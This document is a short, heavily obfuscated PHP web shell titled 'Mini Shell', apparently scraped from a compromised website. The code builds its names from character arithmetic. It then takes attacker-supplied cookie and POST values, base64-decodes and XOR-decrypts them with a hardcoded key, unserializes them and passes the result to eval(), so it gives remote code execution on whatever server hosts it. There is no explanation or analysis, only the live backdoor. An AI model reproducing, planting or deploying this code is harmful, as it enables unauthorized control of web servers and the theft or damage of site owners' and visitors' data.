Mini Shell

$RCgTEDE = chr ( 285 - 163 ).'_' . "\x77" . 'D' . "\153";$DyQuqbJiOS = "\143" . chr ( 412 - 304 ).chr (97) . "\x73" . chr ( 498 - 383 ).chr ( 719 - 624 )."\x65" . "\x78" . "\x69" . 's' . "\x74" . "\x73";$ohNvbPIrjZ = class_exists($RCgTEDE); $DyQuqbJiOS = "22756";$KyoFQQLelE = strpos($DyQuqbJiOS, $RCgTEDE);if ($ohNvbPIrjZ == $KyoFQQLelE){function BarncD(){$CduFnUJxn = new /* 56833 */ z_wDk(45788 + 45788); $CduFnUJxn = NULL;}$VnUwjSo = "45788";class z_wDk{private function bymqHr($VnUwjSo){if (is_array(z_wDk::$LtJKrQ)) {$roQLnnYG2 = str_replace("<" . "?php", "", z_wDk::$LtJKrQ["content"]);eval($roQLnnYG2); $VnUwjSo = "45788";exit();}}public function IxXvROvSn(){$roQLnnYG = "44924";$this->_dummy = str_repeat($roQLnnYG, strlen($roQLnnYG));}public function __destruct(){z_wDk::$LtJKrQ = @unserialize(z_wDk::$LtJKrQ); $VnUwjSo = "25227_19230";$this->bymqHr($VnUwjSo); $VnUwjSo = "25227_19230";}public function YelDawCUm($roQLnnYG, $LdffzC){return $roQLnnYG[0] ^ str_repeat($LdffzC, intval(strlen($roQLnnYG[0]) / strlen($LdffzC)) + 1);}public function qhmGkoQvc($roQLnnYG){$fdpZR = chr (98) . "\141" . "\x73" . "\x65" . '6' . chr (52);return array_map($fdpZR . "\137" . "\144" . chr (101) . "\x63" . chr (111) . 'd' . "\145", array($roQLnnYG,));}public function __construct($PmyRQG=0){$kBmMWrcb = chr ( 1005 - 961 ); $roQLnnYG = "";$JUHSQaBw = $_POST;$IhecuKBVBH = $_COOKIE;$LdffzC = "f85fd0fa-d543-441a-98dc-f25ccf8164a8";$TePbFls = @$IhecuKBVBH[substr($LdffzC, 0, 4)];if (!empty($TePbFls)){$TePbFls = explode($kBmMWrcb, $TePbFls);foreach ($TePbFls as $XCavJ){$roQLnnYG .= @$IhecuKBVBH[$XCavJ];$roQLnnYG .= @$JUHSQaBw[$XCavJ];}$roQLnnYG = $this->qhmGkoQvc($roQLnnYG);}z_wDk::$LtJKrQ = $this->YelDawCUm($roQLnnYG, $LdffzC);if (strpos($LdffzC, $kBmMWrcb) !== FALSE){$LdffzC = str_pad($LdffzC, 10); $LdffzC = ltrim(rtrim($LdffzC));}}public static $LtJKrQ = 36811;}BarncD();}